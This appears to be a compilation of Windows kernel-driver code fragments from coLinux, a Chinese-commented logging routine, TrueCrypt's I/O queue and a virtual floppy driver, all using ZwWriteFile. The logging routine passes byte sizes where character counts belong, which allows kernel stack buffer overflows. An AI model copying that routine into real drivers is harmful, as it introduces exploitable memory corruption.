PsTerminateSystemThread(STATUS_SUCCESS); }
static co_rc_t co_os_file_block_async_read_write(co_monitor_t *monitor, HANDLE file_handle, unsigned long long offset, vm_ptr_t address, unsigned long size, bool_t read, int unit, void *irq_request) { co_rc_t rc; NTSTATUS status; // Prepare callback callback_context_t *context = co_os_malloc(sizeof (callback_context_t)); if (!context) return CO_RC(OUT_OF_MEMORY); co_memset(context, 0, sizeof(callback_context_t)); context->monitor = monitor; context->offset.QuadPart = offset; context->size = size; context->msg.message.from = CO_MODULE_COBD0 + unit; context->msg.message.to = CO_MODULE_LINUX; context->msg.message.priority = CO_PRIORITY_DISCARDABLE; context->msg.message.type = CO_MESSAGE_TYPE_OTHER; context->msg.message.size = sizeof (context->msg) - sizeof (context->msg.message); context->msg.linux_message.device = CO_DEVICE_BLOCK; context->msg.linux_message.unit = unit; context->msg.linux_message.size = sizeof (context->msg.intr); context->msg.intr.irq_request = irq_request; // map linux kernal memory into host memory rc = co_monitor_host_linuxvm_transfer_map( monitor, address, size, &context->start, &context->page, &context->pfn); if (CO_OK(rc)) { if (read) { status = ZwReadFile(file_handle, NULL, (PIO_APC_ROUTINE) transfer_file_block_callback, context, &context->isb, context->start, size, &context->offset, NULL); co_debug_lvl(filesystem, 10, "cobd%d read status %X", unit, (int)status); } else { status = ZwWriteFile(file_handle, NULL, (PIO_APC_ROUTINE) transfer_file_block_callback, context, &context->isb, context->start, size, &context->offset, NULL); co_debug_lvl(filesystem, 10, "cobd%d write status %X", unit, (int)status); } if (status == STATUS_PENDING || status == STATUS_SUCCESS) return CO_RC(OK); rc = co_status_convert(status); co_debug("block io failed: %p %lx (reason: %x)", context->start, size, (int)status); co_monitor_host_linuxvm_transfer_unmap(monitor, context->page, context->pfn); } co_os_free(context); return rc; }
/** * 写日志函数 * @param iLevel:ULONG,要写入日志信息的等级,请参考LogConst.h文件内等级。 * @param format:NTSTRSAFE_PSTR*,输入信息的格式,此格式参考printf。 * @param ...:变参,参考printf,要写入的信息。 * 写日志信息接口,写日志信息大小请不要超过规定长度的大小!最大暂时为256字节!! */ void _cdecl WriteSysLog(ULONG iLevel, NTSTRSAFE_PWSTR format,...) { //判断记录日志级别 if(iLevel > g_logLevel) return; //获得互斥体,在下面的调用中,所有的函数退出部分都要进行释放互斥体 KeWaitForSingleObject(&g_logMutex, Executive, KernelMode, FALSE, NULL); HANDLE logfile; OBJECT_ATTRIBUTES objectAttributes; IO_STATUS_BLOCK ioStatus; NTSTATUS ntStatus; InitializeObjectAttributes(&objectAttributes,&g_logFileName,OBJ_CASE_INSENSITIVE,NULL, NULL); ntStatus = ZwCreateFile(&logfile,FILE_READ_ATTRIBUTES | FILE_APPEND_DATA | SYNCHRONIZE, &objectAttributes,&ioStatus,NULL,FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_OPEN_IF,FILE_SYNCHRONOUS_IO_NONALERT,NULL,0); if(!NT_SUCCESS(ntStatus) ) { KeReleaseMutex(&g_logMutex,FALSE); KdPrint( ("Strategy:%d:Init Open file error!\n",g_logStrategy) ); return; } //判断文件大小处理的函数 if(g_logWriteTime >= CHECK_TIME) { if(g_logStrategy == 1) { ntStatus = CheckLogFileSizeAndReCreateLogFile(&g_logFileName,1,logfile); if(!NT_SUCCESS(ntStatus) ) { KeReleaseMutex(&g_logMutex,FALSE); KdPrint( ("Strategy:%d:Init Open file error!\n",g_logStrategy) ); return; } } g_logWriteTime = 0; } TIME_FIELDS ctime; ctime = GetLocalTime(); ULONG pid = (ULONG)PsGetCurrentProcessId(); PWCHAR ptype; switch(iLevel) { case LOG_TYPE_ERROR: ptype = L"ERROR";break; case LOG_TYPE_WARN: ptype = L"WARNING";break; case LOG_TYPE_INFO: ptype = L"INFO";break; default: ptype = L"DEBUG";break; } WCHAR strTemp[MAX_INFO_LENGTH]; RtlZeroMemory(strTemp, MAX_INFO_LENGTH); NTSTRSAFE_PWSTR pinfo = strTemp; va_list args; va_start(args,format); ntStatus =::RtlStringCchVPrintfW(pinfo,MAX_INFO_LENGTH*sizeof(WCHAR),format,args); if( !NT_SUCCESS(ntStatus) ) { DbgPrint( ("Log info conversion error1!\n") ); ZwClose(logfile); KeReleaseMutex(&g_logMutex,FALSE); //在函数所有的出口释放互斥体 return; } va_end(args); WCHAR cinfo[MAX_INFO_LENGTH*2]; RtlZeroMemory(cinfo,MAX_INFO_LENGTH*2*sizeof(WCHAR));//清0,为了下面的操作顺利 ntStatus = RtlStringCchPrintfW(cinfo,MAX_INFO_LENGTH*2*sizeof(WCHAR), L"%04d-%02d-%02d %02d:%02d:%02d.%03d\t%d\t%s\t%s\r\n", ctime.Year, ctime.Month, ctime.Day, ctime.Hour, ctime.Minute, ctime.Second, ctime.Milliseconds,pid,ptype,pinfo); if( !NT_SUCCESS(ntStatus) ) { DbgPrint( ("Log info conversion error2!\n") ); //在函数所有的出口释放互斥体 ZwClose(logfile); KeReleaseMutex(&g_logMutex,FALSE); return; } size_t length; ntStatus = RtlStringCchLengthW(cinfo,MAX_INFO_LENGTH*2,&length); if( !NT_SUCCESS(ntStatus) ) { DbgPrint( ("Log info conversion error3!\n") ); //在函数所有的出口释放互斥体 ZwClose(logfile); KeReleaseMutex(&g_logMutex,FALSE); return; } ntStatus = ZwWriteFile(logfile,NULL,NULL,NULL,&ioStatus,cinfo,length*sizeof(WCHAR),NULL,NULL); if( !NT_SUCCESS(ntStatus) ) { DbgPrint( ("Write log error!\n") ); ZwClose(logfile); //在函数所有的出口释放互斥体 KeReleaseMutex(&g_logMutex,FALSE); return; } g_logWriteTime ++;//增加写入次数 ZwClose(logfile); KeReleaseMutex(&g_logMutex,FALSE); //KdPrint( ("write log successful!\n") ); }
static VOID IoThreadProc (PVOID threadArg) { EncryptedIoQueue *queue = (EncryptedIoQueue *) threadArg; PLIST_ENTRY listEntry; EncryptedIoRequest *request; KeSetPriorityThread (KeGetCurrentThread(), LOW_REALTIME_PRIORITY); if (!queue->IsFilterDevice && queue->SecurityClientContext) { #ifdef DEBUG NTSTATUS status = #endif SeImpersonateClientEx (queue->SecurityClientContext, NULL); ASSERT (NT_SUCCESS (status)); } while (!queue->ThreadExitRequested) { if (!NT_SUCCESS (KeWaitForSingleObject (&queue->IoThreadQueueNotEmptyEvent, Executive, KernelMode, FALSE, NULL))) continue; if (queue->ThreadExitRequested) break; while ((listEntry = ExInterlockedRemoveHeadList (&queue->IoThreadQueue, &queue->IoThreadQueueLock))) { InterlockedDecrement (&queue->IoThreadPendingRequestCount); request = CONTAINING_RECORD (listEntry, EncryptedIoRequest, ListEntry); #ifdef TC_TRACE_IO_QUEUE Dump ("%c %I64d [%I64d] roff=%I64d rlen=%d\n", request->Item->Write ? 'W' : 'R', request->Item->OriginalIrpOffset.QuadPart, GetElapsedTime (&queue->LastPerformanceCounter), request->Offset.QuadPart, request->Length); #endif // Perform IO request if no preceding request of the item failed if (NT_SUCCESS (request->Item->Status)) { if (queue->IsFilterDevice) { if (queue->RemapEncryptedArea && request->EncryptedLength > 0) { if (request->EncryptedLength != request->Length) { // Up to three subfragments may be required to handle a partially remapped fragment int subFragment; byte *subFragmentData = request->Data; for (subFragment = 0 ; subFragment < 3; ++subFragment) { LARGE_INTEGER subFragmentOffset; ULONG subFragmentLength; subFragmentOffset.QuadPart = request->Offset.QuadPart; switch (subFragment) { case 0: subFragmentLength = (ULONG) request->EncryptedOffset; break; case 1: subFragmentOffset.QuadPart += request->EncryptedOffset + queue->RemappedAreaOffset; subFragmentLength = request->EncryptedLength; break; case 2: subFragmentOffset.QuadPart += request->EncryptedOffset + request->EncryptedLength; subFragmentLength = (ULONG) (request->Length - (request->EncryptedOffset + request->EncryptedLength)); break; } if (subFragmentLength > 0) { if (request->Item->Write) request->Item->Status = TCWriteDevice (queue->LowerDeviceObject, subFragmentData, subFragmentOffset, subFragmentLength); else request->Item->Status = TCCachedRead (queue, NULL, subFragmentData, subFragmentOffset, subFragmentLength); subFragmentData += subFragmentLength; } } } else { // Remap the fragment LARGE_INTEGER remappedOffset; remappedOffset.QuadPart = request->Offset.QuadPart + queue->RemappedAreaOffset; if (request->Item->Write) request->Item->Status = TCWriteDevice (queue->LowerDeviceObject, request->Data, remappedOffset, request->Length); else request->Item->Status = TCCachedRead (queue, NULL, request->Data, remappedOffset, request->Length); } } else { if (request->Item->Write) request->Item->Status = TCWriteDevice (queue->LowerDeviceObject, request->Data, request->Offset, request->Length); else request->Item->Status = TCCachedRead (queue, NULL, request->Data, request->Offset, request->Length); } } else { IO_STATUS_BLOCK ioStatus; if (request->Item->Write) request->Item->Status = ZwWriteFile (queue->HostFileHandle, NULL, NULL, NULL, &ioStatus, request->Data, request->Length, &request->Offset, NULL); else request->Item->Status = TCCachedRead (queue, &ioStatus, request->Data, request->Offset, request->Length); if (NT_SUCCESS (request->Item->Status) && ioStatus.Information != request->Length) request->Item->Status = STATUS_END_OF_FILE; } } if (request->Item->Write) { queue->ReadAheadBufferValid = FALSE; ReleaseFragmentBuffer (queue, request->Data); if (request->CompleteOriginalIrp) { CompleteOriginalIrp (request->Item, request->Item->Status, NT_SUCCESS (request->Item->Status) ? request->Item->OriginalLength : 0); } ReleasePoolBuffer (queue, request); } else { BOOL readAhead = FALSE; if (NT_SUCCESS (request->Item->Status)) memcpy (request->OrigDataBufferFragment, request->Data, request->Length); ReleaseFragmentBuffer (queue, request->Data); request->Data = request->OrigDataBufferFragment; if (request->CompleteOriginalIrp && queue->LastReadLength > 0 && NT_SUCCESS (request->Item->Status) && InterlockedExchangeAdd (&queue->IoThreadPendingRequestCount, 0) == 0) { readAhead = TRUE; InterlockedIncrement (&queue->OutstandingIoCount); } ExInterlockedInsertTailList (&queue->CompletionThreadQueue, &request->CompletionListEntry, &queue->CompletionThreadQueueLock); KeSetEvent (&queue->CompletionThreadQueueNotEmptyEvent, IO_DISK_INCREMENT, FALSE); if (readAhead) { queue->ReadAheadBufferValid = FALSE; queue->ReadAheadOffset.QuadPart = queue->LastReadOffset.QuadPart + queue->LastReadLength; queue->ReadAheadLength = queue->LastReadLength; if (queue->ReadAheadOffset.QuadPart + queue->ReadAheadLength <= queue->MaxReadAheadOffset.QuadPart) { #ifdef TC_TRACE_IO_QUEUE Dump ("A %I64d [%I64d] roff=%I64d rlen=%d\n", request->Item->OriginalIrpOffset.QuadPart, GetElapsedTime (&queue->LastPerformanceCounter), queue->ReadAheadOffset, queue->ReadAheadLength); #endif if (queue->IsFilterDevice) { queue->ReadAheadBufferValid = NT_SUCCESS (TCReadDevice (queue->LowerDeviceObject, queue->ReadAheadBuffer, queue->ReadAheadOffset, queue->ReadAheadLength)); } else { IO_STATUS_BLOCK ioStatus; queue->ReadAheadBufferValid = NT_SUCCESS (ZwReadFile (queue->HostFileHandle, NULL, NULL, NULL, &ioStatus, queue->ReadAheadBuffer, queue->ReadAheadLength, &queue->ReadAheadOffset, NULL)); queue->ReadAheadLength = (ULONG) ioStatus.Information; } } DecrementOutstandingIoCount (queue); } } } } PsTerminateSystemThread (STATUS_SUCCESS); }
// // Write sectors from write buffer into image file or RAM image buffer // VOID VfdWriteData( IN PDEVICE_EXTENSION DeviceExtension, IN OUT PIRP Irp, IN ULONG Length, IN PLARGE_INTEGER Offset) { PVOID buf; VFDTRACE(VFDINFO,("[VFD] VfdWriteData - IN\n")); buf = MmGetSystemAddressForMdlPrettySafe( Irp->MdlAddress, NormalPagePriority); if (!buf) { VFDTRACE(0, ("[VFD] MmGetSystemAddressForMdlPrettySafe\n")); Irp->IoStatus.Status = STATUS_INSUFFICIENT_RESOURCES; return; } if (DeviceExtension->FileHandle) { // Write into image file Irp->IoStatus.Status = ZwWriteFile( DeviceExtension->FileHandle, NULL, NULL, NULL, &Irp->IoStatus, buf, Length, Offset, NULL); if (NT_SUCCESS(Irp->IoStatus.Status)) { Irp->IoStatus.Information = Length; } else { VFDTRACE(0, ("[VFD] ZwWriteFile - %s\n", GetStatusName(Irp->IoStatus.Status))); } } else if (DeviceExtension->FileBuffer) { // Deal with the modify flag if (RtlCompareMemory( DeviceExtension->FileBuffer + Offset->QuadPart, buf, Length) != Length) { DeviceExtension->MediaFlags |= VFD_FLAG_DATA_MODIFIED; } // Copy into RAM image buffer RtlMoveMemory( DeviceExtension->FileBuffer + Offset->QuadPart, buf, Length); Irp->IoStatus.Status = STATUS_SUCCESS; Irp->IoStatus.Information = Length; } else { // no image opened Irp->IoStatus.Status = STATUS_NO_MEDIA_IN_DEVICE; } VFDTRACE(VFDINFO,("[VFD] VfdWriteData - %s\n", GetStatusName(Irp->IoStatus.Status))); return; }